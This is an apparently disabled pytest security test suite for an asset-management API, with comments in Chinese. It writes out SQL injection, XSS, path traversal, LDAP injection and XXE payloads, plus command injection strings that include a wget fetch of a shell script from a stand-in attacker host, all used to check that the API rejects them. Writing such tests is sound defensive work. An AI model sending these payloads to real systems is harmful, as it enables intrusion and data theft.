"""
安全测试

测试内容:
- SQL注入测试
- XSS测试
- CSRF测试
- 权限绕过测试
- 敏感数据泄露测试
- 认证绕过测试
"""

import pytest


# class TestSQLInjection:
#     """测试SQL注入攻击"""
#
#     def test_sql_injection_in_login(self, client: TestClient):
#         """测试登录接口的SQL注入"""
#         malicious_inputs = [
#             "admin' OR '1'='1",
#             "admin'--",
#             "admin'/*",
#             "' OR 1=1--",
#             "'; DROP TABLE users--",
#             "admin' UNION SELECT * FROM users--",
#             "' OR '1'='1' /*",
#             "1' AND 1=1--",
#             "admin'; INSERT INTO users VALUES--",
#         ]
#
#         for malicious_input in malicious_inputs:
#             response = client.post(
#                 "/api/v1/auth/login",
#                 json={
#                     "username": malicious_input,
#                     "password": "Test123",
#                     "captcha": "1234",
#                     "captcha_key": "test"
#                 }
#             )
#
#             # 应该返回认证失败,而不是数据库错误或成功登录
#             assert response.status_code in [401, 400, 422]
#
#             # 如果返回成功,说明存在SQL注入漏洞
#             if response.status_code == 200:
#                 pytest.fail(f"SQL注入漏洞检测: {malicious_input}")
#
#     def test_sql_injection_in_search(self, client: TestClient, auth_headers):
#         """测试搜索接口的SQL注入"""
#         malicious_inputs = [
#             "'; DROP TABLE assets--",
#             "1' OR '1'='1",
#             "'; SELECT * FROM users--",
#             "admin' UNION SELECT * FROM assets--",
#         ]
#
#         for malicious_input in malicious_inputs:
#             response = client.get(
#                 "/api/v1/assets",
#                 params={"keyword": malicious_input},
#                 headers=auth_headers
#             )
#
#             # 应该正常返回或参数错误,不应该报数据库错误
#             assert response.status_code in [200, 400, 422]
#
#     def test_sql_injection_in_id_parameter(self, client: TestClient, auth_headers):
#         """测试ID参数的SQL注入"""
#         malicious_ids = [
#             "1 OR 1=1",
#             "1; DROP TABLE assets--",
#             "1' UNION SELECT * FROM users--",
#             "1' AND 1=1--",
#         ]
#
#         for malicious_id in malicious_ids:
#             response = client.get(
#                 f"/api/v1/assets/{malicious_id}",
#                 headers=auth_headers
#             )
#
#             # 应该返回404或参数错误
#             assert response.status_code in [404, 400, 422]
#
#     def test_sql_injection_in_order_by(self, client: TestClient, auth_headers):
#         """测试排序参数的SQL注入"""
#         malicious_inputs = [
#             "id; DROP TABLE users--",
#             "id OR 1=1",
#             "id' AND '1'='1",
#         ]
#
#         for malicious_input in malicious_inputs:
#             response = client.get(
#                 "/api/v1/assets",
#                 params={"sort_by": malicious_input},
#                 headers=auth_headers
#             )
#
#             # 应该返回参数错误
#             assert response.status_code in [400, 422]
#
#     def test_second_order_sql_injection(self, client: TestClient, auth_headers):
#         """测试二阶SQL注入"""
#         # 先创建包含恶意代码的数据
#         malicious_data = {
#             "asset_name": "test'; DROP TABLE assets--",
#             "device_type_id": 1,
#             "organization_id": 1
#         }
#
#         create_response = client.post(
#             "/api/v1/assets",
#             headers=auth_headers,
#             json=malicious_data
#         )
#
#         # 如果创建成功,尝试查询
#         if create_response.status_code == 200:
#             # 查询应该不会触发SQL注入
#             response = client.get(
#                 "/api/v1/assets",
#                 headers=auth_headers
#             )
#             assert response.status_code == 200


# class TestXSS:
#     """测试XSS跨站脚本攻击"""
#
#     def test_xss_in_asset_name(self, client: TestClient, auth_headers):
#         """测试资产名称的XSS"""
#         xss_payloads = [
#             "<script>alert('XSS')</script>",
#             "<img src=x onerror=alert('XSS')>",
#             "<svg onload=alert('XSS')>",
#             "javascript:alert('XSS')",
#             "<iframe src='javascript:alert(XSS)'>",
#             "<body onload=alert('XSS')>",
#         ]
#
#         for payload in xss_payloads:
#             response = client.post(
#                 "/api/v1/assets",
#                 headers=auth_headers,
#                 json={
#                     "asset_name": payload,
#                     "device_type_id": 1,
#                     "organization_id": 1
#                 }
#             )
#
#             if response.status_code == 200:
#                 # 获取数据
#                 asset_id = response.json()["data"]["id"]
#                 get_response = client.get(
#                     f"/api/v1/assets/{asset_id}",
#                     headers=auth_headers
#                 )
#
#                 # 验证XSS payload被转义或过滤
#                 content = get_response.text
#                 assert "<script>" not in content
#                 assert "javascript:" not in content
#                 assert "onerror=" not in content
#
#     def test_xss_in_search_parameter(self, client: TestClient, auth_headers):
#         """测试搜索参数的XSS"""
#         xss_payload = "<script>alert('XSS')</script>"
#
#         response = client.get(
#             "/api/v1/assets",
#             params={"keyword": xss_payload},
#             headers=auth_headers
#         )
#
#         # 验证XSS payload被转义
#         content = response.text
#         assert "<script>" not in content or "&lt;script&gt;" in content
#
#     def test_xss_in_user_profile(self, client: TestClient, auth_headers):
#         """测试用户资料的XSS"""
#         xss_payload = "<img src=x onerror=alert('XSS')>"
#
#         response = client.put(
#             "/api/v1/users/me",
#             headers=auth_headers,
#             json={"real_name": xss_payload}
#         )
#
#         if response.status_code == 200:
#             # 验证XSS被过滤
#             get_response = client.get(
#                 "/api/v1/users/me",
#                 headers=auth_headers
#             )
#             content = get_response.text
#             assert "onerror=" not in content


# class TestCSRF:
#     """测试CSRF跨站请求伪造"""
#
#     def test_csrf_protection(self, client: TestClient, auth_headers):
#         """测试CSRF保护"""
#         # 正常请求应该包含CSRF token
#         response = client.post(
#             "/api/v1/assets",
#             headers=auth_headers,
#             json={
#                 "asset_name": "Test",
#                 "device_type_id": 1,
#                 "organization_id": 1
#             }
#         )
#
#         # 如果启用CSRF保护,缺少token应该被拒绝
#         # 这里需要根据实际实现调整
#
#     def test_csrf_token_validation(self, client: TestClient):
#         """测试CSRF token验证"""
#         # 尝试使用无效的CSRF token
#         invalid_headers = {
#             "X-CSRF-Token": "invalid-token-12345"
#         }
#
#         response = client.post(
#             "/api/v1/assets",
#             headers=invalid_headers,
#             json={
#                 "asset_name": "Test",
#                 "device_type_id": 1,
#                 "organization_id": 1
#             }
#         )
#
#         # 应该被拒绝
#         assert response.status_code in [403, 401]


# class TestAuthenticationBypass:
#     """测试认证绕过"""
#
#     def test_missing_token(self, client: TestClient):
#         """测试缺少token"""
#         response = client.get("/api/v1/assets")
#         assert response.status_code == 401
#
#     def test_invalid_token(self, client: TestClient):
#         """测试无效token"""
#         headers = {"Authorization": "Bearer invalid_token_12345"}
#         response = client.get("/api/v1/assets", headers=headers)
#         assert response.status_code == 401
#
#     def test_expired_token(self, client: TestClient):
#         """测试过期token"""
#         # 使用一个过期的token
#         expired_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.expired.token"
#         headers = {"Authorization": f"Bearer {expired_token}"}
#         response = client.get("/api/v1/assets", headers=headers)
#         assert response.status_code == 401
#
#     def test_modified_token(self, client: TestClient):
#         """测试被修改的token"""
#         # 修改有效token的一部分
#         modified_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.modified"
#         headers = {"Authorization": f"Bearer {modified_token}"}
#         response = client.get("/api/v1/assets", headers=headers)
#         assert response.status_code == 401
#
#     def test_token_without_bearer(self, client: TestClient):
#         """测试不带Bearer前缀的token"""
#         headers = {"Authorization": "valid_token_without_bearer"}
#         response = client.get("/api/v1/assets", headers=headers)
#         assert response.status_code == 401
#
#     def test_session_fixation(self, client: TestClient):
#         """测试会话固定攻击"""
#         # 登录前获取session
#         session1 = client.cookies.get("session")
#
#         # 登录
#         client.post(
#             "/api/v1/auth/login",
#             json={
#                 "username": "admin",
#                 "password": "Admin123",
#                 "captcha": "1234",
#                 "captcha_key": "test"
#             }
#         )
#
#         # 验证session已更新
#         session2 = client.cookies.get("session")
#         assert session1 != session2 or session2 is None  # 使用JWT时可能没有session


# class TestAuthorizationBypass:
#     """测试权限绕过"""
#
#     def test_direct_url_access_without_permission(self, client: TestClient, auth_headers):
#         """测试无权限直接访问URL"""
#         # 普通用户尝试访问管理员接口
#         response = client.delete(
#             "/api/v1/users/1",
#             headers=auth_headers  # 普通用户token
#         )
#         assert response.status_code == 403
#
#     def test_horizontal_privilege_escalation(self, client: TestClient, user_headers, admin_headers):
#         """测试水平权限提升"""
#         # 用户A尝试访问用户B的数据
#         # 创建user_headers为用户A的token
#         response = client.get(
#             "/api/v1/users/2",  # 尝试访问用户B
#             headers=user_headers
#         )
#         assert response.status_code == 403
#
#     def test_vertical_privilege_escalation(self, client: TestClient, user_headers):
#         """测试垂直权限提升"""
#         # 普通用户尝试访问管理员功能
#         response = client.post(
#             "/api/v1/users",
#             headers=user_headers,
#             json={
#                 "username": "newuser",
#                 "password": "Test123"
#             }
#         )
#         assert response.status_code == 403
#
#     def test_parameter_tampering(self, client: TestClient, auth_headers):
#         """测试参数篡改"""
#         # 尝试通过修改ID访问其他用户数据
#         response = client.get(
#             "/api/v1/users/999",  # 不存在的用户或其他用户
#             headers=auth_headers
#         )
#         # 应该返回403或404,不应该返回数据
#         assert response.status_code in [403, 404]
#
#     def test_method_enforcement(self, client: TestClient, auth_headers):
#         """测试HTTP方法强制执行"""
#         # 某些接口可能只允许特定方法
#         response = client.put(
#             "/api/v1/assets",  # 应该是POST
#             headers=auth_headers,
#             json={}
#         )
#         assert response.status_code in [405, 404]  # Method Not Allowed


# class TestSensitiveDataExposure:
#     """测试敏感数据泄露"""
#
#     def test_password_not_in_response(self, client: TestClient, auth_headers):
#         """测试响应中不包含密码"""
#         response = client.get(
#             "/api/v1/users/me",
#             headers=auth_headers
#         )
#
#         content = response.text
#         assert "password" not in content.lower()
#         assert "hashed_password" not in content
#
#     def test_token_not_logged(self, client: TestClient):
#         """测试token不被记录到日志"""
#         # 这个测试需要检查日志文件或日志系统
#         pass
#
#     def test_error_messages_no_sensitive_info(self, client: TestClient):
#         """测试错误消息不包含敏感信息"""
#         response = client.post(
#             "/api/v1/auth/login",
#             json={
#                 "username": "nonexistent",
#                 "password": "wrong",
#                 "captcha": "1234",
#                 "captcha_key": "test"
#             }
#         )
#
#         error_msg = response.text.lower()
#         # 错误消息不应该暴露数据库信息
#         assert "mysql" not in error_msg
#         assert "postgresql" not in error_msg
#         assert "table" not in error_msg
#         assert "column" not in error_msg
#         assert "syntax" not in error_msg
#
#     def test_stack_trace_not_exposed(self, client: TestClient):
#         """测试不暴露堆栈跟踪"""
#         response = client.get("/api/v1/invalid-endpoint")
#
#         # 生产环境不应该返回堆栈跟踪
#         content = response.text
#         assert "Traceback" not in content
#         assert "Exception" not in content
#         assert "at line" not in content
#
#     def test_https_required(self, client: TestClient):
#         """测试HTTPS要求"""
#         # 这个测试在生产环境才有效
#         pass


# class TestInputValidation:
#     """测试输入验证"""
#
#     def test_path_traversal(self, client: TestClient, auth_headers):
#         """测试路径遍历攻击"""
#         malicious_inputs = [
#             "../../../etc/passwd",
#             "..\\..\\..\\windows\\system32\\config\\sam",
#             "....//....//....//etc/passwd",
#             "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
#         ]
#
#         for malicious_input in malicious_inputs:
#             response = client.get(
#                 f"/api/v1/assets/{malicious_input}",
#                 headers=auth_headers
#             )
#             assert response.status_code in [404, 400, 422]
#
#     def test_command_injection(self, client: TestClient, auth_headers):
#         """测试命令注入"""
#         malicious_inputs = [
#             "; ls -la",
#             "| cat /etc/passwd",
#             "`whoami`",
#             "$(id)",
#             "; wget http://evil.com/shell.py",
#         ]
#
#         for malicious_input in malicious_inputs:
#             response = client.post(
#                 "/api/v1/assets",
#                 headers=auth_headers,
#                 json={
#                     "asset_name": malicious_input,
#                     "device_type_id": 1,
#                     "organization_id": 1
#                 }
#             )
#             # 应该被拒绝或过滤
#             assert response.status_code in [400, 422]
#
#     def test_ldap_injection(self, client: TestClient, auth_headers):
#         """测试LDAP注入"""
#         # 如果系统使用LDAP认证
#         malicious_inputs = [
#             "*)(uid=*",
#             "*)(|(objectClass=*",
#             "*))%00",
#         ]
#
#         for malicious_input in malicious_inputs:
#             response = client.post(
#                 "/api/v1/auth/login",
#                 json={
#                     "username": malicious_input,
#                     "password": "Test123",
#                     "captcha": "1234",
#                     "captcha_key": "test"
#                 }
#             )
#             assert response.status_code in [401, 400]
#
#     def test_xml_injection(self, client: TestClient, auth_headers):
#         """测试XML注入"""
#         xml_payload = """<?xml version="1.0"?>
#         <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
#         <asset><name>&xxe;</name></asset>"""
#
#         response = client.post(
#             "/api/v1/assets",
#             headers=auth_headers,
#             data=xml_payload,
#             content_type="application/xml"
#         )
#
#         # 应该被拒绝或返回错误
#         assert response.status_code in [400, 415]  # Unsupported Media Type


# class TestRateLimiting:
#     """测试请求频率限制"""
#
#     def test_login_rate_limit(self, client: TestClient):
#         """测试登录频率限制"""
#         # 连续多次登录尝试
#         responses = []
#         for i in range(15):
#             response = client.post(
#                 "/api/v1/auth/login",
#                 json={
#                     "username": "test",
#                     "password": "wrong",
#                     "captcha": "1234",
#                     "captcha_key": f"test-{i}"
#                 }
#             )
#             responses.append(response)
#
#         # 应该有部分请求被限流
#         rate_limited = sum(1 for r in responses if r.status_code == 429)
#         assert rate_limited > 0
#
#     def test_api_rate_limit(self, client: TestClient, auth_headers):
#         """测试API频率限制"""
#         # 连续请求
#         responses = []
#         for i in range(150):  # 超过100次/分钟限制
#             response = client.get("/api/v1/assets", headers=auth_headers)
#             responses.append(response)
#
#         rate_limited = sum(1 for r in responses if r.status_code == 429)
#         assert rate_limited > 0